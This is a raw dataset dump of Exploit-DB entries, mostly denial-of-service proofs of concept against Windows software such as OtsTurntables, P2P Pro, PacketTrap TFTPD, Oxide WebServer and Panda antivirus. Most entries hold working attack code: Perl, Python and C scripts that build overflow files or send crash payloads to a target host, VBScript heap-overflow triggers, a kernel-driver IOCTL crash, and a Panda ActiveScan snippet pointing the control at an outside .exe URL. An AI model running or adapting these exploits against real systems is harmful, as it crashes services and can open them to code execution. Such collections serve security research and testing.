deardaniel/secdata-raw huggingface dataset:
Exploit-DB #11145
Description: OtsTurntables Free 1.00.047 - Overwrite (SEH) (PoC)
Type: dos
Platform: windows
Date: 2010-01-15
Author: Darkb0x

Exploit:
# Exploit Title: OtsTurntables Free v1.00.047 SEH Overwrite POC
# Date: 14-01-2010
# Author: Darkb0x
# Software Link: http://www.otsturntables.com/download-otsturntables-free/
# Version: 1.00.047
# Tested on:  Windows Vista Ultimate English
# [exploit code]

print "\n\nBy Darkb0x\n" ;
print "Home Page :\n" ;
print "http://NullArea.Net\n" ;
my $junk      = "\x41" x 15000   ;
my $exploit = $junk;
open (file,">>file.ofl");
print file $exploit;
close (file);
print "\n\n\nFile Creation done\n";
Exploit-DB #1781
Description: outgun 1.0.3 bot 2 - Multiple Vulnerabilities
Type: dos
Platform: windows
Date: 2006-05-14
Author: Luigi Auriemma

Exploit:
# Outgun <= 1.0.3 bot 2 Multiple Remote Vulnerabilities Exploit

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/1781.zip (05132006-outgunx.zip)

# milw0rm.com [2006-05-14]
Exploit-DB #27745
Description: Outlook Express 5.5/6.0 / Windows Mail - MHTML URI Handler Information Disclosure
Type: dos
Platform: windows
Date: 2006-04-27
Author: codedreamer

Exploit:
source: https://www.securityfocus.com/bid/17717/info

Outlook Express and Windows Mail are prone to a cross-domain information-disclosure vulnerability.

This vulnerability may let a malicious website access properties of a site in an arbitrary external domain in the context of the victim user's browser. Attackers could exploit this issue to gain access to sensitive information (such as cookies or passwords) that is associated with the external domain.

This issue was previously reported as an Internet Explorer vulnerability, but the affected component is found to be part of Outlook Express and Windows Mail. Microsoft confirmed that this is an Outlook Express/Windows Mail vulnerability that can also be exploited through Internet Explorer.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27745.zip
Exploit-DB #47309
Description: Outlook Password Recovery 2.10 - Denial of Service
Type: dos
Platform: windows
Date: 2019-08-28
Author: Velayutham Selvaraj_ Praveen Thiyagarayam

Exploit:
#Exploit Title: Outlook Password Recovery v2.10 Denial of Service Exploit
# Date: 16.08.2019
# Vendor Homepage:https://www.top-password.com/
# Software Link: https://www.top-password.com/outlook-password-recovery.html
# Exploit Author: Velayutham Selvaraj & Praveen Thiyagarayam (TwinTech Solutions)
# Tested Version: v2.10
# Tested on: Windows 7 x64
# Windows XP SP3


# 1.- Run python code :Outlook Password Recovery.py
# 2.- Open EVIL.txt and copy content to clipboard
# 3.- Open OUTLOOK Password Recovery and Click 'EnterKey'
# 4.- Paste the content of EVIL.txt into the Field: 'User Name and
Registration Code'
# 5.- Click 'OK' and you will see a crash.

#!/usr/bin/env python
buffer = "\x41" * 6000

try:
f=open("Evil.txt","w")
print "[+] Creating %s bytes evil payload.." %len(buffer)
f.write(buffer)
f.close()
print "[+] File created!"
except:
print "File cannot be created"
Exploit-DB #28894
Description: Outpost Firewall PRO 4.0 - Local Denial of Service
Type: dos
Platform: windows
Date: 2006-11-01
Author: Matousec Transparent security

Exploit:
source: https://www.securityfocus.com/bid/20860/info

Outpost Firewall PRO is prone to a local denial-of-service vulnerability because the application fails to properly handle unexpected input.

Exploiting this issue allows local attackers to crash affected computers, denying service to legitimate users.

Outpost Firewall PRO 4.0 (964.582.059) is vulnerable to this issue; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/28894.zip
Exploit-DB #356
Description: OverByte ICS FTP Server - Remote Denial of Service
Type: dos
Platform: windows
Date: 2004-07-20
Author: ATmaCA

Exploit:
//--Exploit:
//===========================================================
#include <winsock2.h>
#include <stdio.h>

#pragma comment(lib, \\\"ws2_32.lib\\\")


char Non_null_terminated_string [] = \\\"AAAAAAAAAAAAAAAAAA\\\";

int main(int argc, char *argv[])
{
WSADATA wsaData;
WORD wVersionRequested;
struct hostent *pTarget;
struct sockaddr_in sock;
char *target;
int port,bufsize;
SOCKET mysocket;
int res=1;
char text[1024]={\\\' \\\'};

if (argc < 2)
{
printf(\\\"\\\\r\\\\nICS FTP server Component Denial Of Service
vulnerability\\\\r\\\\n\\\", argv[0]);
printf(\\\"Coded By ATmaCA\\\\r\\\\n\\\");
printf(\\\"E-Mail:atmaca@prohack.net\\\\r\\\\n\\\");
printf(\\\"Web:www.prohack.net\\\\r\\\\n\\\\r\\\\n\\\");
printf(\\\"Usage:\\\\r\\\\n %s <targetip> [targetport] (default is
21)\\\\r\\\\n\\\\r\\\\n\\\",argv[0]);

exit(1);
}

wVersionRequested = MAKEWORD(1, 1);
if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1;

target = argv[1];
port = 21;

if (argc >= 3) port = atoi(argv[2]);
bufsize = 1024;
if (argc >= 4) bufsize = atoi(argv[3]);

mysocket = socket(AF_INET, SOCK_STREAM, 0);
if(mysocket==INVALID_SOCKET)
{
printf(\\\"Socket error!\\\\r\\\\n\\\");
exit(1);
}

printf(\\\"Resolving Hostnames...\\\\n\\\");
if ((pTarget = gethostbyname(target)) == NULL)
{
printf(\\\"Resolve of %s failed\\\\n\\\", argv[1]);
exit(1);
}

memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
sock.sin_family = AF_INET;
sock.sin_port = htons((USHORT)port);

printf(\\\"Connecting...\\\\n\\\");
if ( (connect(mysocket, (struct sockaddr *)&sock, sizeof (sock) )))
{
printf(\\\"Couldn\\\'t connect to host.\\\\n\\\");
exit(1);
}

printf(\\\"Connected!...\\\\n\\\");
printf(\\\"Sending Non-null-terminated-string...\\\\n\\\");
if (send(mysocket,Non_null_terminated_string,
sizeof(Non_null_terminated_string)-1, 0) == -1)
{
printf(\\\"Error Sending the Non-null-terminated-string.\\\\r\\\\n\\\");
closesocket(mysocket);
exit(1);
}

closesocket(mysocket);
WSACleanup();
return 0;
}

// milw0rm.com [2004-07-20]
Exploit-DB #19986
Description: Oxide WebServer 2.0.4 - Denial of Service
Type: dos
Platform: windows
Date: 2012-07-20
Author: SecPod Research

Exploit:
##############################################################################
#
# Title    : Oxide Webserver Remote Denial of Service Vulnerability
# Author   : Antu Sanadi SecPod Technologies (www.secpod.com)
# Vendor   : http://sourceforge.net/projects/oxide/
# Advisory : http://secpod.org/blog/?p=516
#	   : http://secpod.org/advisories/SecPod_Oxide_WebServer_DoS_Vuln.txt
# Software : Oxide Webserver v2.0.4 and prior.
# Date     : 29/06/2012
#
###############################################################################

SecPod ID: 1043                                    24/01/2012 Issue Discovered
                                                   19/06/2012 Vendor Notified
	                                           No Response from vendor
                                                   18/07/2012 Advisory Released


Class: Denial of Service                           Severity: High


Overview:
---------
Oxide Webserver v2.0.4 is prone to a remote Denial of Service vulnerability
as it fails to handle crafted requests from the client properly.


Technical Description:
----------------------
The vulnerability is caused by an error in handling some crafted characters
in HTTP GET requests, which causes the server to crash.


Impact:
--------
Successful exploitation could allow an attacker to crash a vulnerable server.


Affected Software:
------------------
Oxide Webserver version 2.0.4 and prior.


Tested on,
Oxide Webserver version 2.0.4 on Windows XP SP3


References:
-----------
http://secpod.org/blog/?p=516
http://sourceforge.net/projects/oxide
http://sourceforge.net/projects/oxide-ws/files
http://secpod.org/advisories/SecPod_Oxide_WebServer_DoS_Vuln.txt


Proof of Concept:
----------------
http://www.example.com:80/?.
http://www.example.com:80/<.
http://www.example.com:80/$.
http://www.example.com:80/cc.


Solution:
----------
Not available


Risk Factor:
-------------
    CVSS Score Report:
        ACCESS_VECTOR          = NETWORK
        ACCESS_COMPLEXITY      = LOW
        AUTHENTICATION         = NONE
        CONFIDENTIALITY_IMPACT = NONE
        INTEGRITY_IMPACT       = NONE
        AVAILABILITY_IMPACT    = COMPLETE
        EXPLOITABILITY         = PROOF_OF_CONCEPT
        REMEDIATION_LEVEL      = UNAVAILABLE
        REPORT_CONFIDENCE      = CONFIRMED
        CVSS Base Score        = 7.8 (High) (AV:N/AC:L/Au:N/C:N/I:N/A:C)


Credits:
--------
Antu Sanadi of SecPod Technologies has been credited with the discovery of this
vulnerability.
Exploit-DB #11254
Description: P2GChinchilla HTTP Server 1.1.1 - Denial of Service
Type: dos
Platform: windows
Date: 2010-01-24
Author: Zer0 Thunder

Exploit:
#!/usr/bin/perl
# File Name :P2GChinchilla[TM] HTTP Server
# Vuln : Remote Denial Of Service Exploit
# Auther : Zer0 Thunder
# Msn : zer0_thunder@colombohackers.com
#
# 
##==------>>
#
# Exploit Title: P2GChinchilla[TM] HTTP Server 1.1.1 Remote Denial Of Service Exploit
# Date: 22/01/2010
# Author: Zer0 Thunder
# Version: v 1.1.1
# Tested on: Server runs on Windows XP Sp2 /Test on Remote Location
##==------>> 
use IO::Socket::INET;
$ip = $ARGV[0];
$port = $ARGV[1];
if (! defined $ARGV[0])
{
print "\t+================================================================+\n";
print "\t+ ---  P2GChinchilla[TM] HTTP Server 1.1.1 Denial Of Service  ---+\n";
print "\t+ ---  Author :Zer0 Thunder                                   ---+\n";
print "\t+ ---  DATE:  :[24/01/2010]                                   ---+\n";
print "\t+ ---  ------------------------------------------------       ---+\n";
print "\t+ ---  Usage  :perl exploit.pl [Host/Remote IP] [Port]        ---+\n";
print "\t+ ---                                                         ---+\n";
print "\t+================================================================+\n";
print "\n"; 
print " Ex : exploit.pl localhost 50000\n";  # P2GChinchilla Default Port is 50000
 
 
exit;
}
 
print "\t+================================================================+\n";
print "\t+ ---  P2GChinchilla[TM] HTTP Server 1.1.1 Denial Of Service  ---+\n";
print "\t+ ---  Author :Zer0 Thunder                                   ---+\n";
print "\t+ ---  DATE:  :[24/01/2010]                                   ---+\n";
print "\t+ ---  ------------------------------------------------       ---+\n";
print "\t+ ---  Usage  :perl exploit.pl [Host/Remote IP] [Port]        ---+\n";
print "\t+ ---                                                         ---+\n";
print "\t+================================================================+\n";
print "\n";  
print " Wait Till The Buffer is Done\n"; 
my $b1 = "\x41" x 100000000;
print "\n";
print " DoS is UP !.. N Give it a Second \n";

$DoS=IO::Socket::INET->new("$ip:$port") or die;

print $DoS "stor $b1\n";
print $DoS "QUIT\n";
 
close $DoS;

# exit :
Exploit-DB #5843
Description: P2P Foxy - Out of Memory Denial of Service
Type: dos
Platform: windows
Date: 2008-06-17
Author: Styxosaurus

Exploit:
P2P Foxy Out of memory Exploit

# Vulnerability Discovered by Styxosaurus
# Styxosaurus [at] gmail [dot] com
#
# Foxy is one of the most popular P2P software in Chinese users
# http://tw.gofoxy.net/
#
# It starts to request more memory and freeze 
# as when "&fs=" meet some large magic point.


<a href='foxy://download? xt=urn:sha1:FPLNO5OUPWLSRWYZ4J4ZNAIJLEPSIND4
&dn=music.wmv&fs=[PII_REDACTED][PII_REDACTED][PII_REDACTED]000000[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]0000[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]0000[PII_REDACTED][PII_REDACTED]00000'>Music.wmv</a>

# milw0rm.com [2008-06-17]
Exploit-DB #1192
Description: P2P Pro 1.0 - 'command' Denial of Service
Type: dos
Platform: windows
Date: 2005-09-02
Author: basher13

Exploit:
/*
     P2P Pro Command DOS Exploit
 ------------------------------------
  Infam0us Gr0up - Securiti Research

 Info: infamous.2hell.com
 Vendor URL: http://www.digital-revolution.org/P2PPro.html

*/

#include string.h
#include winsock2.h 
#include stdio.h 

#pragma comment(lib, "ws2_32.lib") 

char doscore[] = 
"\x3f\x3f\xbc\x59\x70 "
"\x32\x70\x3f\xe1 "
"\x2b\x5c\x3f\xa6\xeb\xa6"
"\x50\x46\x2b\x5c\x3f\xa6\xeb\xa6"
"\x50\x4f\x57\x4e\x45\x44\x2e\x74"
"\x78\x74\x2b\x5c\x3f\xa6\xeb\xa6"
"\x50\x31\x32\x33\x32\x34\x32\x2e\x6b\x62";


int main(int argc, char *argv[]) 
{ 
WSADATA wsaData; 
WORD wVersionRequested; 
struct hostent *pTarget; 
struct sockaddr_in sock; 
char *target; 
int port,bufsize; 
SOCKET inetdos; 

if (argc < 2) 
{ 
printf("        P2P Pro Command DOS Exploit \n", argv[0]);
printf("  --------------------------------------\n", argv[0]);
printf("    Infam0us Gr0up - Securiti Research\n\n", argv[0]);
printf("[-]Usage: %s [target] [port]\n", argv[0]); 
printf("[?]Exam: %s localhost 7802\n", argv[0]); 
exit(1); 
} 

wVersionRequested = MAKEWORD(1, 1); 
if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1; 

target = argv[1]; 
port = 7802; 

if (argc >= 3) port = atoi(argv[2]); 
bufsize = 1024; 
if (argc >= 4) bufsize = atoi(argv[3]); 

inetdos = socket(AF_INET, SOCK_STREAM, 0); 
if(inetdos==INVALID_SOCKET) 
{ 
printf("Socket ERROR \n"); 
exit(1); 
} 
printf("    P2P Pro Command DOS Exploit \n", argv[0]);
printf("  --------------------------------------\r\n\n", argv[0]);
printf("Resolve host... "); 
if ((pTarget = gethostbyname(target)) == NULL) 
{ 
printf("FAILED \n", argv[0]); 
exit(1); 
} 
printf("[OK]\n ");
memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length); 
sock.sin_family = AF_INET; 
sock.sin_port = htons((USHORT)port); 

printf("[+] Connecting... "); 
if ( (connect(inetdos, (struct sockaddr *)&sock, sizeof (sock) ))) 
{ 
printf("FAILED\n"); 
exit(1); 
} 
printf("[OK]\n");
printf("Target listen.. \n"); 
printf("Sending bad procedure... "); 
if (send(inetdos, doscore, sizeof(doscore)-1, 0) == -1) 
{ 
printf("ERROR\n"); 
closesocket(inetdos); 
exit(1); 
} 
printf("[OK]\n ");
printf("[+] Server SHUTDOWNED!\n"); 
closesocket(inetdos); 
WSACleanup(); 
return 0; 
}

// milw0rm.com [2005-09-02]
Exploit-DB #5316
Description: PacketTrap Networks pt360 2.0.39 TFTPD - Remote Denial of Service
Type: dos
Platform: windows
Date: 2008-03-26
Author: muts

Exploit:
#!/usr/bin/python
# PacketTrap Networks pt360 2.0.39 TFTPD Remote DOS 
# Coded by Mati Aharoni
# muts..at..offensive-security.com
# http://www.offensive-security.com/0day/pt360dos.py.txt

import socket
import sys

host = '172.16.167.134'
port = 69

try:
   s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:
   print "socket() failed"
   sys.exit(1)

filename = '"'*160
mode = "netascii"
muha = "\x00\x02" + filename + "\0" + mode + "\0"
s.sendto(muha, (host, port))

# milw0rm.com [2008-03-26]
Exploit-DB #6863
Description: PacketTrap TFTPD 2.2.5459.0 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2008-10-29
Author: Jeremy Brown

Exploit:
#!/usr/bin/perl
# Jeremy Brown [0xjbrown41@gmail.com/jbrownsec.blogspot.com]
# PacketTrap TFTPD DoS (latest 2.2.5459.0 tested) -- www.packettrap.com
# Must have Net::TFTP installed (easy to install, 'cpan' then 'install Net::TFTP' ;)
# A product of tftpfuzz.pl (coming soon)

use Net::TFTP;
use Getopt::Std;

$tftp = Net::TFTP->new("192.168.0.112");
$tftp->ascii;
$tftp->put("test", "|");

exit;

# milw0rm.com [2008-10-29]
Exploit-DB #46126
Description: Paint Studio 2.17 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-01-11
Author: Ihsan Sencan

Exploit:
# Exploit Title: Paint Studio 2.17 - Denial of Service (PoC)
# Dork: N/A
# Date: 2019-01-11
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.pixarra.com/
# Software Link: http://www.pixarra.com/uploads/9/4/6/3/94635436/tbpaintstudio_install.exe
# Version: 2.17
# Category: Dos
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# Paint Studio Run / Enter Key...
# Any character.

#!/usr/bin/python
    
buffer = "A" * 10
 
payload = buffer
try:
    f=open("exp.txt","w")
    print "[+] Creating %s bytes evil payload." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created."
Exploit-DB #37346
Description: Paintshop Pro X7 - '.gif' Conversion Heap Memory Corruption 'LZWMinimumCodeSize' (Denial of Service)
Type: dos
Platform: windows
Date: 2015-06-23
Author: Francis Provencher

Exploit:
#####################################################################################

Application:   Paintshop Pro X7 GIF Conversion  Heap Memory Corruption Vulnerabilities (LZWMinimumCodeSize)

Platforms:   Windows

Versions:   The vulnerability is confirmed in version Paintshop Prox X7, Other versions may also be affected.

Secunia:

{PRL}:   2015-06

Author:   Francis Provencher (Protek Research Lab’s)

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#####################################################################################

===============
1) Introduction
===============

 

PaintShop Pro (PSP) is a raster and vector graphics editor for Microsoft Windows. It was originally published by Jasc Software. In October 2004, Corel purchased Jasc Software and the distribution rights to Paint Shop Pro. PSP functionality can be extended by Photoshop-compatible plugins.

Although often written as Paint Shop Pro, Corel’s website shows the name for the product as PaintShop Pro. The X-numbered editions have been sold in two versions: PaintShop Pro, which is the basic editing program, and PaintShop Pro Ultimate, which bundles in other standalone programs. The particular bundled programs have varied with each numbered version and have not been sold by Corel as separate products.

(https://en.wikipedia.org/wiki/PaintShop_Pro)

#####################################################################################

============================
2) Report Timeline
============================

2015-04-23: Francis Provencher from Protek Research Lab’s found the issue;
2015-02-24: Francis Provencher From Protek Research Lab’s ask for a security contact at Corel Software;
2015-02-25: Francis Provencher From Protek Research Lab’s ask for a security contact at Corel Software;
2015-05-10: Corel push a silent fix, without credit.

2015-05-16: Publication of this advisory.

 

#####################################################################################

============================
3) Technical details
============================

An error when handling LZWMinimumCodeSize can be exploited to cause an heap memory corruption via a specially crafted GIF file.

#####################################################################################

===========

4) POC

===========

http://protekresearchlab.com/exploits/PRL-2015-06.gif
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37346.gif

###############################################################################
Exploit-DB #23918
Description: Panda ActiveScan 5.0 - 'ascontrol.dll' Denial of Service
Type: dos
Platform: windows
Date: 2004-04-06
Author: Rafel Ivgi The-Insider

Exploit:
source: https://www.securityfocus.com/bid/10067/info

It has been reported that Panda ActiveScan may be prone to a denial of service vulnerability that may cause an instance of Internet Explorer to crash. The issue may present it self when the 'SetSitesFile' is called in combination with setting the 'InstallEngineCtl' object.

Panda ActiveScan 5.0 has been reported to be prone to this issue.


<script language=vbscript>
dim mymy
Set mymy = CreateObject("ASControls.InstallEngineCtl.1" )
mymy.SetSitesFile "http://rafiwarez.tripod.com/ncx.exe", ASIA, hebrew
</script>
Exploit-DB #23917
Description: Panda ActiveScan 5.0 - 'ascontrol.dll' Remote Heap Overflow
Type: dos
Platform: windows
Date: 2004-04-06
Author: Rafel Ivgi The-Insider

Exploit:
source: https://www.securityfocus.com/bid/10065/info

It has been reported that Panda ActiveScan may be prone to a remote heap overflow vulnerability that may allow an attacker to cause a denial of service condition in Internet Explorer or leverage the issue to execute arbitrary code.

The issue is reported to exist in the 'ascontrol.dll' file, specifically the 'Internacional' property of the 'ReportHebrew' object is identified as vulnerable.

Panda ActiveScan 5.0 has been reported to be prone to this issue. 

<script language=vbscript>
dim mymy
Set mymy = CreateObject("ASControl.ReportHebrew.1" )

a="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
mymy.Internacional a
</script>
Exploit-DB #41945
Description: Panda Free Antivirus - 'PSKMAD.sys' Denial of Service
Type: dos
Platform: windows
Date: 2017-04-29
Author: Peter Baris

Exploit:
/*
# Exploit Title: Panda Cloud Antivirus Free - 'PSKMAD.sys' - BSoD - denial of service
# Date: 2017-04-29
# Exploit Author: Peter baris
# Vendor Homepage: http://www.saptech-erp.com.au
# Software Link: http://download.cnet.com/Panda-Cloud-Antivirus-Free-Edition/3000-2239_4-10914099.html?part=dl-&subj=dl&tag=button&lang=en
# Version: 18.0
# Tested on: Windows 7 SP1 Pro x64, Windows 10 Pro x64
# CVE : requested
*/

#include "stdafx.h"
#include <stdio.h>
#include <Windows.h>
#include <winioctl.h>


#define DEVICE_NAME L"\\\\.\\PSMEMDriver"

LPCTSTR FileName = (LPCTSTR)DEVICE_NAME;
HANDLE GetDeviceHandle(LPCTSTR FileName) {
	HANDLE hFile = NULL;

	hFile = CreateFile(FileName,
		GENERIC_READ | GENERIC_WRITE,
		0,
		0,
		OPEN_EXISTING,
		NULL,
		0);

	return hFile;
}

int main()
{

	HANDLE hFile = NULL;
	PVOID64 lpInBuffer = NULL;
	ULONG64 lpBytesReturned;
	PVOID64 BuffAddress = NULL;
	SIZE_T BufferSize = 0x800;
	
	printf("Trying the get the handle for the PSMEMDriver device.\r\n");
	
	hFile = GetDeviceHandle(FileName);

	if (hFile == INVALID_HANDLE_VALUE) {
		printf("Can't get the device handle, no BSoD today. 0x%X\r\n", GetLastError());
		return 1;
	}

	// Allocate memory for our buffer
	lpInBuffer = VirtualAlloc(NULL, BufferSize, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	

	if (lpInBuffer == NULL) {
		printf("VirtualAlloc() failed. \r\n");
		return 1;
	}
	

	BuffAddress = (PVOID64)(((ULONG64)lpInBuffer));
	*(PULONG64)BuffAddress = (ULONG64)0x542DF91B; //Pool header tag???
	BuffAddress = (PVOID64)(((ULONG64)lpInBuffer + 0x4));
	*(PULONG64)BuffAddress = (ULONG64)0x42424242;
	BuffAddress = (PVOID64)(((ULONG64)lpInBuffer + 0x8));
	
	RtlFillMemory(BuffAddress, BufferSize-0x8 , 0x41);



		DeviceIoControl(hFile,
			0xb3702c38,
			lpInBuffer,
			NULL,  //Change it to BufferSize and put a bp PSKMAD+3150 -> rax will point to our buffer in the kernel memory
			NULL,
			NULL,
			&lpBytesReturned,
			NULL);

	/*This part is pretty much useless, just wanted to be nice in case the machine survives.*/
	printf("Cleaning up.\r\n");
	VirtualFree((LPVOID)lpInBuffer, sizeof(lpInBuffer), MEM_RELEASE);
	CloseHandle(hFile);
	printf("Resources freed up.\r\n");
    return 0;
}